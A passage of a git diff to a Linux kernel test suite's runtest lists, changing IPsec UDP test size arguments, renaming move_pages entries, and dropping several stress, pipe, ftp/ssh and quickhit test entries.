+udp6_ipsec19 udp_ipsec.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s 100:1000:65527
+udp6_ipsec20 udp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m transport -s 100:1000:65490
+udp6_ipsec21 udp_ipsec.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s 100:1000:65527
+udp6_ipsec22 udp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m transport -s 100:1000:65490
+udp6_ipsec23 udp_ipsec.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s 100:1000:65527
+udp6_ipsec24 udp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m transport -s 100:1000:65490
+udp6_ipsec25 udp_ipsec.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s 100:1000:65527
+udp6_ipsec26 udp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m transport -s 100:1000:65490
+udp6_ipsec27 udp_ipsec.sh -6 -p esp -a sha1 -e cast5 -m tunnel -s 100:1000:65527
+udp6_ipsec28 udp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m transport -s 100:1000:65490
+udp6_ipsec29 udp_ipsec.sh -6 -p esp -a sha256 -e blowfish -m tunnel -s 100:1000:65527
+udp6_ipsec30 udp_ipsec.sh -6 -p esp -a sha384 -e twofish -m transport -s 100:1000:65462
+udp6_ipsec31 udp_ipsec.sh -6 -p esp -a sha384 -e twofish -m tunnel -s 100:1000:65527
+udp6_ipsec32 udp_ipsec.sh -6 -p esp -a sha512 -e camellia -m transport -s 100:1000:65462
+udp6_ipsec33 udp_ipsec.sh -6 -p esp -a sha512 -e camellia -m tunnel -s 100:1000:65527
+udp6_ipsec34 udp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m transport -s 100:1000:65478
+udp6_ipsec35 udp_ipsec.sh -6 -p esp -a rmd160 -e serpent -m tunnel -s 100:1000:65527
+udp6_ipsec36 udp_ipsec.sh -6 -p esp -m beet -s 100:1000:65478
 
-udp4_ipsec_vti01 udp_ipsec_vti.sh -p ah -m tunnel -s "100 1000 65463"
-udp4_ipsec_vti02 udp_ipsec_vti.sh -p esp -m tunnel -s "100 1000 65450"
+udp4_ipsec_vti01 udp_ipsec_vti.sh -p ah -m tunnel -s 100:1000:65463
+udp4_ipsec_vti02 udp_ipsec_vti.sh -p esp -m tunnel -s 100:1000:65450
 udp4_ipsec_vti03 udp_ipsec_vti.sh -p comp -m tunnel -s 1500
-udp4_ipsec_vti04 udp_ipsec_vti.sh -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65450"
-udp4_ipsec_vti05 udp_ipsec_vti.sh -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65450"
-udp4_ipsec_vti06 udp_ipsec_vti.sh -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65450"
-udp4_ipsec_vti07 udp_ipsec_vti.sh -A rfc4309_128 -p esp_aead -m tunnel -s "100 1000 65450"
-udp4_ipsec_vti08 udp_ipsec_vti.sh -A rfc4309_192 -p esp_aead -m tunnel -s "100 1000 65450"
-udp4_ipsec_vti09 udp_ipsec_vti.sh -A rfc4309_256 -p esp_aead -m tunnel -s "100 1000 65450"
-udp4_ipsec_vti10 udp_ipsec_vti.sh -A rfc4543_128 -p esp_aead -m tunnel -s "100 1000 65450"
-udp4_ipsec_vti11 udp_ipsec_vti.sh -A rfc4543_192 -p esp_aead -m tunnel -s "100 1000 65450"
-udp4_ipsec_vti12 udp_ipsec_vti.sh -A rfc4543_256 -p esp_aead -m tunnel -s "100 1000 65450"
-udp4_ipsec_vti13 udp_ipsec_vti.sh -p esp -a sha1 -e cast5 -m tunnel -s "100 1000 65450"
-udp4_ipsec_vti14 udp_ipsec_vti.sh -p esp -a sha256 -e blowfish -m tunnel -s "100 1000 65426"
-udp4_ipsec_vti15 udp_ipsec_vti.sh -p esp -a sha384 -e twofish -m tunnel -s "100 1000 65426"
-udp4_ipsec_vti16 udp_ipsec_vti.sh -p esp -a sha512 -e camellia -m tunnel -s "100 1000 65426"
-udp4_ipsec_vti17 udp_ipsec_vti.sh -p esp -a rmd160 -e serpent -m tunnel -s "100 1000 65426"
+udp4_ipsec_vti04 udp_ipsec_vti.sh -A rfc4106_128 -p esp_aead -m tunnel -s 100:1000:65450
+udp4_ipsec_vti05 udp_ipsec_vti.sh -A rfc4106_192 -p esp_aead -m tunnel -s 100:1000:65450
+udp4_ipsec_vti06 udp_ipsec_vti.sh -A rfc4106_256 -p esp_aead -m tunnel -s 100:1000:65450
+udp4_ipsec_vti07 udp_ipsec_vti.sh -A rfc4309_128 -p esp_aead -m tunnel -s 100:1000:65450
+udp4_ipsec_vti08 udp_ipsec_vti.sh -A rfc4309_192 -p esp_aead -m tunnel -s 100:1000:65450
+udp4_ipsec_vti09 udp_ipsec_vti.sh -A rfc4309_256 -p esp_aead -m tunnel -s 100:1000:65450
+udp4_ipsec_vti10 udp_ipsec_vti.sh -A rfc4543_128 -p esp_aead -m tunnel -s 100:1000:65450
+udp4_ipsec_vti11 udp_ipsec_vti.sh -A rfc4543_192 -p esp_aead -m tunnel -s 100:1000:65450
+udp4_ipsec_vti12 udp_ipsec_vti.sh -A rfc4543_256 -p esp_aead -m tunnel -s 100:1000:65450
+udp4_ipsec_vti13 udp_ipsec_vti.sh -p esp -a sha1 -e cast5 -m tunnel -s 100:1000:65450
+udp4_ipsec_vti14 udp_ipsec_vti.sh -p esp -a sha256 -e blowfish -m tunnel -s 100:1000:65426
+udp4_ipsec_vti15 udp_ipsec_vti.sh -p esp -a sha384 -e twofish -m tunnel -s 100:1000:65426
+udp4_ipsec_vti16 udp_ipsec_vti.sh -p esp -a sha512 -e camellia -m tunnel -s 100:1000:65426
+udp4_ipsec_vti17 udp_ipsec_vti.sh -p esp -a rmd160 -e serpent -m tunnel -s 100:1000:65426
 
-udp6_ipsec_vti01 udp_ipsec_vti.sh -6 -p ah -m tunnel -s "100 1000 65527"
-udp6_ipsec_vti02 udp_ipsec_vti.sh -6 -p esp -m tunnel -s "100 1000 65527"
+udp6_ipsec_vti01 udp_ipsec_vti.sh -6 -p ah -m tunnel -s 100:1000:65527
+udp6_ipsec_vti02 udp_ipsec_vti.sh -6 -p esp -m tunnel -s 100:1000:65527
 udp6_ipsec_vti03 udp_ipsec_vti.sh -6 -p comp -m tunnel -s 1500
-udp6_ipsec_vti04 udp_ipsec_vti.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s "100 1000 65527"
-udp6_ipsec_vti05 udp_ipsec_vti.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s "100 1000 65527"
-udp6_ipsec_vti06 udp_ipsec_vti.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s "100 1000 65527"
-udp6_ipsec_vti07 udp_ipsec_vti.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s "100 1000 65527"
-udp6_ipsec_vti08 udp_ipsec_vti.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s "100 1000 65527"
-udp6_ipsec_vti09 udp_ipsec_vti.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s "100 1000 65527"
-udp6_ipsec_vti10 udp_ipsec_vti.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s "100 1000 65527"
-udp6_ipsec_vti11 udp_ipsec_vti.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s "100 1000 65527"
-udp6_ipsec_vti12 udp_ipsec_vti.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s "100 1000 65527"
-udp6_ipsec_vti13 udp_ipsec_vti.sh -6 -p esp -a sha1 -e cast5 -m tunnel -s "100 1000 65527"
-udp6_ipsec_vti14 udp_ipsec_vti.sh -6 -p esp -a sha256 -e blowfish -m tunnel -s "100 1000 65527"
-udp6_ipsec_vti15 udp_ipsec_vti.sh -6 -p esp -a sha384 -e twofish -m tunnel -s "100 1000 65527"
-udp6_ipsec_vti16 udp_ipsec_vti.sh -6 -p esp -a sha512 -e camellia -m tunnel -s "100 1000 65527"
-udp6_ipsec_vti17 udp_ipsec_vti.sh -6 -p esp -a rmd160 -e serpent -m tunnel -s "100 1000 65527"
+udp6_ipsec_vti04 udp_ipsec_vti.sh -6 -A rfc4106_128 -p esp_aead -m tunnel -s 100:1000:65527
+udp6_ipsec_vti05 udp_ipsec_vti.sh -6 -A rfc4106_192 -p esp_aead -m tunnel -s 100:1000:65527
+udp6_ipsec_vti06 udp_ipsec_vti.sh -6 -A rfc4106_256 -p esp_aead -m tunnel -s 100:1000:65527
+udp6_ipsec_vti07 udp_ipsec_vti.sh -6 -A rfc4309_128 -p esp_aead -m tunnel -s 100:1000:65527
+udp6_ipsec_vti08 udp_ipsec_vti.sh -6 -A rfc4309_192 -p esp_aead -m tunnel -s 100:1000:65527
+udp6_ipsec_vti09 udp_ipsec_vti.sh -6 -A rfc4309_256 -p esp_aead -m tunnel -s 100:1000:65527
+udp6_ipsec_vti10 udp_ipsec_vti.sh -6 -A rfc4543_128 -p esp_aead -m tunnel -s 100:1000:65527
+udp6_ipsec_vti11 udp_ipsec_vti.sh -6 -A rfc4543_192 -p esp_aead -m tunnel -s 100:1000:65527
+udp6_ipsec_vti12 udp_ipsec_vti.sh -6 -A rfc4543_256 -p esp_aead -m tunnel -s 100:1000:65527
+udp6_ipsec_vti13 udp_ipsec_vti.sh -6 -p esp -a sha1 -e cast5 -m tunnel -s 100:1000:65527
+udp6_ipsec_vti14 udp_ipsec_vti.sh -6 -p esp -a sha256 -e blowfish -m tunnel -s 100:1000:65527
+udp6_ipsec_vti15 udp_ipsec_vti.sh -6 -p esp -a sha384 -e twofish -m tunnel -s 100:1000:65527
+udp6_ipsec_vti16 udp_ipsec_vti.sh -6 -p esp -a sha512 -e camellia -m tunnel -s 100:1000:65527
+udp6_ipsec_vti17 udp_ipsec_vti.sh -6 -p esp -a rmd160 -e serpent -m tunnel -s 100:1000:65527
diff --git a/runtest/net_stress.route b/runtest/net_stress.route
index 00ce52f..266ef03 100644
--- a/runtest/net_stress.route
+++ b/runtest/net_stress.route
@@ -6,12 +6,10 @@
 route4-change-gw route4-change-gw
 route4-change-if route4-change-if
 route4-redirect route4-redirect
-route4-ifdown route4-ifdown
 route4-rmmod route4-rmmod
 
 route6-change-dst route6-change-dst
 route6-change-gw route6-change-gw
 route6-change-if route6-change-if
 route6-redirect route6-redirect
-route6-ifdown route6-ifdown
 route6-rmmod route6-rmmod
diff --git a/runtest/network_commands b/runtest/network_commands
deleted file mode 100644
index c2eb142..0000000
--- a/runtest/network_commands
+++ /dev/null
@@ -1,8 +0,0 @@
-ftp02 ftp02
-ftp03 ftp03
-ftp04 ftp04
-ftp05 ftp05
-
-ssh01 ssh01
-ssh02 ssh02
-ssh03 ssh03
diff --git a/runtest/numa b/runtest/numa
index dcf4948..12aedbb 100644
--- a/runtest/numa
+++ b/runtest/numa
@@ -1,13 +1,13 @@
 Numa-testcases numa01.sh
-move_pages01 move_pages.sh 01
-move_pages02 move_pages.sh 02
-move_pages03 cd $LTPROOT/testcases/bin && chown root move_pages03 && chmod 04755 move_pages03 && move_pages.sh 03
-move_pages04 move_pages.sh 04
-move_pages05 move_pages.sh 05
-move_pages06 move_pages.sh 06
-move_pages07 move_pages.sh 07
-move_pages08 move_pages.sh 08
-move_pages09 move_pages.sh 09
-move_pages10 move_pages.sh 10
-move_pages11 cd $LTPROOT/testcases/bin && chown root move_pages11 && chmod 04755 move_pages11 && move_pages.sh 11
+move_pages01 move_pages01
+move_pages02 move_pages02
+move_pages03 move_pages03
+move_pages04 move_pages04
+move_pages05 move_pages05
+move_pages06 move_pages06
+move_pages07 move_pages07
+move_pages08 move_pages08
+move_pages09 move_pages09
+move_pages10 move_pages10
+move_pages11 move_pages11
 move_pages12 move_pages12
diff --git a/runtest/pipes b/runtest/pipes
deleted file mode 100644
index 900c9a2..0000000
--- a/runtest/pipes
+++ /dev/null
@@ -1,29 +0,0 @@
-#DESCRIPTION:IPC pipes stress
-# These tests use tests/pipeio to put pipes (named or unnamed) through a workout
-#
-pipeio_1 pipeio -T pipeio_1 -c 5 -s 4090 -i 100 -b -f x80
-# spawns 5 children to write 100 chunks of 4090 bytes to a named pipe
-# using blocking I/O
-#pipeio_2 pipeio -T pipeio_2 -c 5 -s 4090 -i 100 -f x80
-# spawns 5 children to write 100 chunks of 4090 bytes to a named pipe
-# using non-blocking I/O
-# This test hits EAGAIN, which pipeio doesn't handle at the moment
-pipeio_3 pipeio -T pipeio_3 -c 5 -s 4090 -i 100 -u -b -f x80
-# spawns 5 children to write 100 chunks of 4090 bytes to an unnamed pipe
-# using blocking I/O
-pipeio_4 pipeio -T pipeio_4 -c 5 -s 4090 -i 100 -u -f x80
-# spawns 5 children to write 100 chunks of 4090 bytes to an unnamed pipe
-# using non-blocking I/O
-pipeio_5 pipeio -T pipeio_5 -c 5 -s 5000 -i 10 -b -f x80
-# spawns 5 children to write 10 chunks of 5000 bytes to a named pipe
-# using blocking I/O
-pipeio_6 pipeio -T pipeio_6 -c 5 -s 5000 -i 10 -b -u -f x80
-# spawns 5 children to write 10 chunks of 5000 bytes to an unnamed pipe
-# using blocking I/O
-#pipeio_7 pipeio -T pipeio_7 -c 5 -s 5000 -i 10 -f x80
-# spawns 5 children to write 10 chunks of 5000 bytes to a named pipe
-# using non-blocking I/O
-# This test hits EAGAIN, which pipeio doesn't handle at the moment
-pipeio_8 pipeio -T pipeio_8 -c 5 -s 5000 -i 10 -u -f x80
-# spawns 5 children to write 10 chunks of 5000 bytes to an unnamed pipe
-# using non-blocking I/O
diff --git a/runtest/pty b/runtest/pty
index 92c89ab..52e2c07 100644
--- a/runtest/pty
+++ b/runtest/pty
@@ -1,5 +1,6 @@
 #DESCRIPTION:Terminal type stress
 pty01 pty01
+pty02 pty02
 ptem01 ptem01
 hangup01 hangup01
 
diff --git a/runtest/quickhit b/runtest/quickhit
index 2a42769..74482fd 100644
--- a/runtest/quickhit
+++ b/runtest/quickhit
@@ -3,8 +3,6 @@
 # Basic test for access(2) using F_OK, R_OK, W_OK and X_OK arguments.
 access03 access03
 # EFAULT error testing for access(2)
-alarm01 alarm01
-# Basic test for alarm(2)
 alarm02 alarm02
 # Boundary Value Test for alarm(2)
 #    TEST CASES
@@ -177,10 +175,6 @@
 # Negative test for lseek(2) of a pipe
 lstat02 lstat02
 # Basic test for lstat(2)
-mkdir01 mkdir01
-# Basic errno test for mkdir(2)
-mkdir08 mkdir08
-# Basic test for mkdir(2)
 qmm01 mmap001 -m 1
 # Basic mmap() test.
 open03 open03
@@ -195,14 +189,10 @@
 # write multiple files and try to find them with readdir
 #    TEST CASES
 # 	1.) Create n files and check that readdir() finds n files
-readlink02 readlink02
+readlink01 readlink01
 # Basic test for readlink(2)
 rename02 rename02
 # Basic test for rename(2)
-rmdir04 rmdir04
-# Basic test for rmdir(2)
-rmdir05 rmdir05
-# rmdir(2) test for errno(s) EINVAL, EMLINK, EFAULT
 sbrk01 sbrk01
 # Basic test for sbrk(2)
 select01 select01
@@ -255,8 +245,6 @@
 # Basic test for uname(2)
 unlink05 unlink05
 # Basic test for unlink(2)
-unlink06 unlink06
-# unlink(2) of a FIFO
 unlink07 unlink07
 # unlink(2) negative testcases
 unlink08 unlink08
diff --git a/runtest/sched b/runtest/sched
index 774d11f..bfc4f27 100644
--- a/runtest/sched
+++ b/runtest/sched
@@ -9,10 +9,6 @@
 hackbench01 hackbench 50 process 1000
 hackbench02 hackbench 20 thread 1000
 
-sched_setattr01 sched_setattr01
-sched_getattr01 sched_getattr01
-sched_getattr02 sched_getattr02
-
 sched_cli_serv run_sched_cliserv.sh
 # Run this stress test for 2 minutes
 sched_stress sched_stress.sh
diff --git a/runtest/scsi_debug.part1 b/runtest/scsi_debug.part1
index 5538516..5d0aed7 100644
--- a/runtest/scsi_debug.part1
+++ b/runtest/scsi_debug.part1
@@ -1,5 +1,4 @@
 #DESCRIPTION:scsi_debug filesystem tests
-echo "----- Checking the Reiserfs -----"
 # Check the Reiserfs filesystem
 gf201 growfiles -W gf201 -d /test/growfiles/reiser -b -e 1 -u -i 0 -L 20 -w -C 1 -l -I r -T 10 glseek20 glseek20.2
 gf202 growfiles -W gf202 -d /test/growfiles/reiser -b -e 1 -L 10 -i 100 -I p -S 2 -u -f gf03_
@@ -180,4 +179,3 @@
 rwtest03 export LTPROOT; rwtest -N rwtest03 -c -q -i 60s -n 2  -f buffered -s mmread,mmwrite -m random -Dv 10%25000:mm-buff-$$ 500b:/test/growfiles/reiser/rwtest08%f
 rwtest04 export LTPROOT; rwtest -N rwtest04 -c -q -i 60s -n 2  -f sync -s mmread,mmwrite -m random -Dv 10%25000:mm-sync-$$ 500b:/test/growfiles/reiser/rwtest09%f
 rwtest05 export LTPROOT; rwtest -N rwtest05 -c -q -i 50 -T 64b 500b:/test/growfiles/reiser/rwtest10%f
-
diff --git a/runtest/stress.part1 b/runtest/stress.part1
deleted file mode 100644
index 423d25e..0000000
--- a/runtest/stress.part1
+++ /dev/null
@@ -1,209 +0,0 @@
-#DESCRIPTION:Part one for ltpstress.sh
-mm01 mmap001 -m 10000
-# 40 Mb mmap() test.
-# Creates a 10000 page mmap, touches all of the map, sync's it, and
-# munmap()s it.
-mm02 mmap001
-# simple mmap() test.
-#mm03 mmap001 -i 0 -I 1 -m 100
-# repetitive mmapping test.
-# Creates a one page map repetitively for one minute.
-
-mtest01 mtest01 -p80
-mtest01w mtest01 -p80 -w
-
-#test for race conditions
-mtest05 mmstress
-mtest06 mmap1 -x 0.05
-
-mem02 mem02
-
-# Test for mmap() page corruption. This test is meant for
-# 1 hour and more. Please change -h(hour), -m(minute) &
-# -s(seconds) settings, if default not desired
-mmap-corruption01 mmap-corruption01 -h1 -m1 -s1
-
-page01 page01
-page02 page02
-
-data_space data_space
-stack_space stack_space
-
-shmt02 shmt02
-shmt03 shmt03
-shmt04 shmt04
-shmt05 shmt05
-shmt06 shmt06
-shmt07 shmt07
-shmt08 shmt08
-shmt09 shmt09
-shmt10 shmt10
-
-cpuset01 cpuset01 -I 3600
-
-fsx-linux export TCbin=$LTPROOT/testcases/bin;fsxtest02 10000
-#fsx-ext2 fsxtest $SCRATCHDEV ext2 10000
-#fsx-ext3 fsxtest $SCRATCHDEV ext3 10000
-#fsx-jfs fsxtest $SCRATCHDEV jfs 10000
-#fsx-xfs  fsxtest $SCRATCHDEV xfs 10000
-#fsx-reiserfs fsxtest $SCRATCHDEV reiserfs 10000
-
-## Complete a default run.
-dio01 diotest1
-dio02 diotest2
-dio03 diotest3
-dio04 diotest4
-dio05 diotest5
-dio06 diotest6
-
-## Run the tests with larger buffersize
-dio07 diotest1 -b 65536
-dio08 diotest2 -b 65536
-dio09 diotest3 -b 65536
-dio10 diotest4 -b 65536
-dio11 diotest5 -b 65536
-dio12 diotest6 -b 65536
-
-### Run the tests with larger iterations
-dio13 diotest1 -b 65536 -n 2000
-dio14 diotest2 -b 65536 -i 1000
-dio15 diotest3 -b 65536 -i 1000
-dio16 diotest5 -b 65536 -i 1000
-dio17 diotest6 -b 65536 -i 1000
-
-## Run the tests with larger offset - 1MB
-dio18 diotest2 -b 65536 -i 1000 -o 1024000
-dio19 diotest3 -b 65536 -i 1000 -o 1024000
-dio20 diotest5 -b 65536 -i 1000 -o 1024000
-dio21 diotest6 -b 65536 -i 1000 -o 1024000
-
-## Run the tests with larger offset - 100 MB
-dio22 diotest2 -b 65536 -i 1000 -o 104857600
-dio23 diotest3 -b 65536 -i 1000 -o 104857600
-dio24 diotest5 -b 65536 -i 1000 -o 104857600
-dio25 diotest6 -b 65536 -i 1000 -o 104857600
-
-### Run tests with larger vector array
-dio26 diotest6 -b 8192 -v 100
-dio27 diotest6 -b 8192 -o 1024000 -i 1000 -v 100
-dio28 diotest6 -b 8192 -o 1024000 -i 1000 -v 200
-
-### Run the tests with more children
-#dio29 diotest3 -b 65536 -n 100 -i 1000 -o 1024000
-#dio30 diotest6 -b 65536 -n 100 -i 1000 -o 1024000
-#
-# RAW DEVICE TEST SECTION
-#   DEV1 and DEV2 should be exported prior to execution or
-# replaced with the actual device ids, i.e.
-#   dio33 diotest1 -i /dev/sda2 -o /dev/sda3
-#
-### Run the tests with raw device
-#dio33 diotest1 -i $DEV1 -o $DEV2
-#dio34 diotest2 -f $DEV1
-#dio36 diotest3 -f $DEV1
-#dio37 diotest5 -f $DEV1
-#dio38 diotest6 -f $DEV1
-#
-### Run the tests with raw device and larger iterations
-#dio39 diotest1 -b 65536 -n 2000 -i $DEV1 -o $DEV2
-#dio40 diotest2 -b 65536 -i 1000 -f $DEV1
-#dio41 diotest3 -b 65536 -i 1000 -f $DEV1
-#dio42 diotest5 -b 65536 -i 1000 -f $DEV1
-#dio43 diotest6 -b 65536 -i 1000 -f $DEV1
-#
-## Run the tests with raw device and larger offset - 100 MB
-#dio44 diotest2 -b 65536 -i 1000 -o 104857600 -f $DEV1
-#dio45 diotest3 -b 65536 -i 1000 -o 104857600 -f $DEV1
-#dio46 diotest5 -b 65536 -i 1000 -o 104857600 -f $DEV1
-#dio47 diotest6 -b 65536 -i 1000 -o 104857600 -f $DEV1
-
-gf01 growfiles -W gf01 -b -e 1 -u -i 0 -L 20 -w -C 1 -l -I r -T 10 glseek20 glseek20.2
-gf02 growfiles -W gf02 -b -e 1 -L 10 -i 100 -I p -S 2 -u -f gf03_
-gf03 growfiles -W gf03 -b -e 1 -g 1 -i 1 -S 150 -u -f gf05_
-gf04 growfiles -W gf04 -b -e 1 -g 4090 -i 500 -t 39000 -u -f gf06_
-gf05 growfiles -W gf05 -b -e 1 -g 5000 -i 500 -t 49900 -T10 -c9 -I p -u -f gf07_
-gf06 growfiles -W gf06 -b -e 1 -u -r 1-5000 -R 0--1 -i 0 -L 30 -C 1 g_rand10 g_rand10.2
-gf07 growfiles -W gf07 -b -e 1 -u -r 1-5000 -R 0--2 -i 0 -L 30 -C 1 -I p g_rand13 g_rand13.2
-gf08 growfiles -W gf08 -b -e 1 -u -r 1-5000 -R 0--2 -i 0 -L 30 -C 1 g_rand11 g_rand11.2
-gf09 growfiles -W gf09 -b -e 1 -u -r 1-5000 -R 0--1 -i 0 -L 30 -C 1 -I p g_rand12 g_rand12.2
-gf10 growfiles -W gf10 -b -e 1 -u -r 1-5000 -i 0 -L 30 -C 1 -I l g_lio14 g_lio14.2
-gf11 growfiles -W gf11 -b -e 1 -u -r 1-5000 -i 0 -L 30 -C 1 -I L g_lio15 g_lio15.2
-gf12 mkfifo gffifo17; growfiles -W gf12 -b -e 1 -u -i 0 -L 30 gffifo17
-gf13 mkfifo gffifo18; growfiles -W gf13 -b -e 1 -u -i 0 -L 30 -I r -r 1-4096 gffifo18
-gf14 growfiles -W gf14 -b -e 1 -u -i 0 -L 20 -w -l -C 1 -T 10 glseek19 glseek19.2
-gf15 growfiles -W gf15 -b -e 1 -u -r 1-49600 -I r -u -i 0 -L 120 Lgfile1
-gf16 growfiles -W gf16 -b -e 1 -i 0 -L 120 -u -g 4090 -T 100 -t 408990 -l -C 10 -c 1000 -S 10 -f Lgf02_
-gf17 growfiles -W gf17 -b -e 1 -i 0 -L 120 -u -g 5000 -T 100 -t 499990 -l -C 10 -c 1000 -S 10 -f Lgf03_
-gf18 growfiles -W gf18 -b -e 1 -i 0 -L 120 -w -u -r 10-5000 -I r -l -S 2 -f Lgf04_
-gf19 growfiles -W gf19 -b -e 1 -g 5000 -i 500 -t 49900 -T10 -c9 -I p -o O_RDWR,O_CREAT,O_TRUNC -u -f gf08i_
-gf20 growfiles -W gf20 -D 0 -b -i 0 -L 60 -u -B 1000b -e 1 -r 1-256000:512 -R 512-256000 -T 4 gfbigio-$$
-gf21 growfiles -W gf21 -D 0 -b -i 0 -L 60 -u -B 1000b -e 1 -g 20480 -T 10 -t 20480 gf-bld-$$
-gf22 growfiles -W gf22 -D 0 -b -i 0 -L 60 -u -B 1000b -e 1 -g 20480 -T 10 -t 20480 gf-bldf-$$
-gf23 growfiles -W gf23 -D 0 -b -i 0 -L 60 -u -B 1000b -e 1 -r 512-64000:1024 -R 1-384000 -T 4 gf-inf-$$
-gf24 growfiles -W gf24 -D 0 -b -i 0 -L 60 -u -B 1000b -e 1 -g 20480 gf-jbld-$$
-gf25 growfiles -W gf25 -D 0 -b -i 0 -L 60 -u -B 1000b -e 1 -r 1024000-2048000:2048 -R 4095-2048000 -T 1 gf-large-gs-$$
-gf26 growfiles -W gf26 -D 0 -b -i 0 -L 60 -u -B 1000b -e 1 -r 128-32768:128 -R 512-64000 -T 4 gfsmallio-$$
-gf27 growfiles -W gf27 -b -D 0 -w -g 8b -C 1 -b -i 1000 -u gfsparse-1-$$
-gf28 growfiles -W gf28 -b -D 0 -w -g 16b -C 1 -b -i 1000 -u gfsparse-2-$$
-gf29 growfiles -W gf29 -b -D 0 -r 1-4096 -R 0-33554432 -i 0 -L 60 -C 1 -u gfsparse-3-$$
-gf30 growfiles -W gf30 -D 0 -b -i 0 -L 60 -u -B 1000b -e 1 -o O_RDWR,O_CREAT,O_SYNC -g 20480 -T 10 -t 20480 gf-sync-$$
-rwtest01 export LTPROOT; rwtest -N rwtest01 -c -q -i 60s  -f sync 10%25000:rw-sync-$$
-rwtest02 export LTPROOT; rwtest -N rwtest02 -c -q -i 60s  -f buffered 10%25000:rw-buffered-$$
-rwtest03 export LTPROOT; rwtest -N rwtest03 -c -q -i 60s -n 2  -f buffered -s mmread,mmwrite -m random -Dv 10%25000:mm-buff-$$
-rwtest04 export LTPROOT; rwtest -N rwtest04 -c -q -i 60s -n 2  -f sync -s mmread,mmwrite -m random -Dv 10%25000:mm-sync-$$
-rwtest05 export LTPROOT; rwtest -N rwtest05 -c -q -i 50 -T 64b 500b:/tmp/rwtest01%f
-
-#must be run as root
-#iogen01 iogen -i 120s -s read,write 500b:doio.f1.$$ 1000b:doio.f2.$$ | doio -akv -n 2
-iogen01 export LTPROOT; rwtest -N iogen01 -i 120s -s read,write -Da -Dv -n 2 500b:doio.f1.$$ 1000b:doio.f2.$$
-
-fs_inod01 fs_inod $TMPDIR 10 10 1
-linker01 linktest.sh 1000 1000
-openfile01 openfile -f10 -t10
-inode01 inode01
-inode02 inode02
-stream01 stream01
-stream02 stream02
-stream03 stream03
-stream04 stream04
-stream05 stream05
-ftest01 ftest01
-ftest02 ftest02
-ftest03 ftest03
-ftest04 ftest04
-ftest05 ftest05
-ftest06 ftest06
-ftest07 ftest07
-ftest08 ftest08
-
-nfs01 export VERSION=2 SOCKET_TYPE=udp; nfs01
-nfs01 export VERSION=2 SOCKET_TYPE=tcp; nfs01
-nfs01 export VERSION=3 SOCKET_TYPE=udp; nfs01
-nfs01 export VERSION=3 SOCKET_TYPE=tcp; nfs01
-
-nfs02 export VERSION=2 SOCKET_TYPE=udp; nfs02
-nfs02 export VERSION=2 SOCKET_TYPE=tcp; nfs02
-nfs02 export VERSION=3 SOCKET_TYPE=udp; nfs02
-nfs02 export VERSION=3 SOCKET_TYPE=tcp; nfs02
-
-nfs03 export VERSION=2 SOCKET_TYPE=udp; nfs03
-nfs03 export VERSION=2 SOCKET_TYPE=tcp; nfs03
-nfs03 export VERSION=3 SOCKET_TYPE=udp; nfs03
-nfs03 export VERSION=3 SOCKET_TYPE=tcp; nfs03
-
-nfs04 export VERSION=2 SOCKET_TYPE=udp; nfs04
-nfs04 export VERSION=2 SOCKET_TYPE=tcp; nfs04
-nfs04 export VERSION=3 SOCKET_TYPE=udp; nfs04
-nfs04 export VERSION=3 SOCKET_TYPE=tcp; nfs04
-
-nfs05 export VERSION=2 SOCKET_TYPE=udp; nfs05
-nfs05 export VERSION=2 SOCKET_TYPE=tcp; nfs05
-nfs05 export VERSION=3 SOCKET_TYPE=udp; nfs05
-nfs05 export VERSION=3 SOCKET_TYPE=tcp; nfs05
-
-nfsx-linux export VERSION=2 SOCKET_TYPE=udp; export TCbin=$LTPROOT/testcases/bin; fsx.sh
-nfsx-linux export VERSION=2 SOCKET_TYPE=tcp; export TCbin=$LTPROOT/testcases/bin; fsx.sh
-nfsx-linux export VERSION=3 SOCKET_TYPE=udp; export TCbin=$LTPROOT/testcases/bin; fsx.sh
-nfsx-linux export VERSION=3 SOCKET_TYPE=tcp; export TCbin=$LTPROOT/testcases/bin; fsx.sh
-
-
diff --git a/runtest/stress.part2 b/runtest/stress.part2
deleted file mode 100644
index 7435708..0000000
--- a/runtest/stress.part2
+++ /dev/null
@@ -1,53 +0,0 @@
-#DESCRIPTION:Part two for ltpstress.sh
-abs01 abs01
-
-atof01 atof01
-
-float_bessel float_bessel -D $LTPROOT/testcases/bin -v
-float_exp_log float_exp_log -D $LTPROOT/testcases/bin -v
-float_iperb float_iperb  -D $LTPROOT/testcases/bin -v
-float_power float_power  -D $LTPROOT/testcases/bin -v
-float_trigo float_trigo  -D $LTPROOT/testcases/bin -v
-
-fptest01 fptest01
-fptest02 fptest02
-
-nextafter01 nextafter01
-pth_str01 pth_str01
-pth_str02 pth_str02 -n1000
-pth_str03 pth_str03
-
-
-# These tests use tests/pipeio to put pipes (named or unnamed) through a workout
-#
-pipeio_1 pipeio -T pipeio_1 -c 5 -s 4090 -i 100 -b -f x80
-# spawns 5 children to write 100 chunks of 4090 bytes to a named pipe
-# using blocking I/O
-#pipeio_2 pipeio -T pipeio_2 -c 5 -s 4090 -i 100 -f x80
-# spawns 5 children to write 100 chunks of 4090 bytes to a named pipe
-# using non-blocking I/O
-# This test hits EAGAIN, which pipeio doesn't handle at the moment
-pipeio_3 pipeio -T pipeio_3 -c 5 -s 4090 -i 100 -u -b -f x80
-# spawns 5 children to write 100 chunks of 4090 bytes to an unnamed pipe
-# using blocking I/O
-pipeio_4 pipeio -T pipeio_4 -c 5 -s 4090 -i 100 -u -f x80
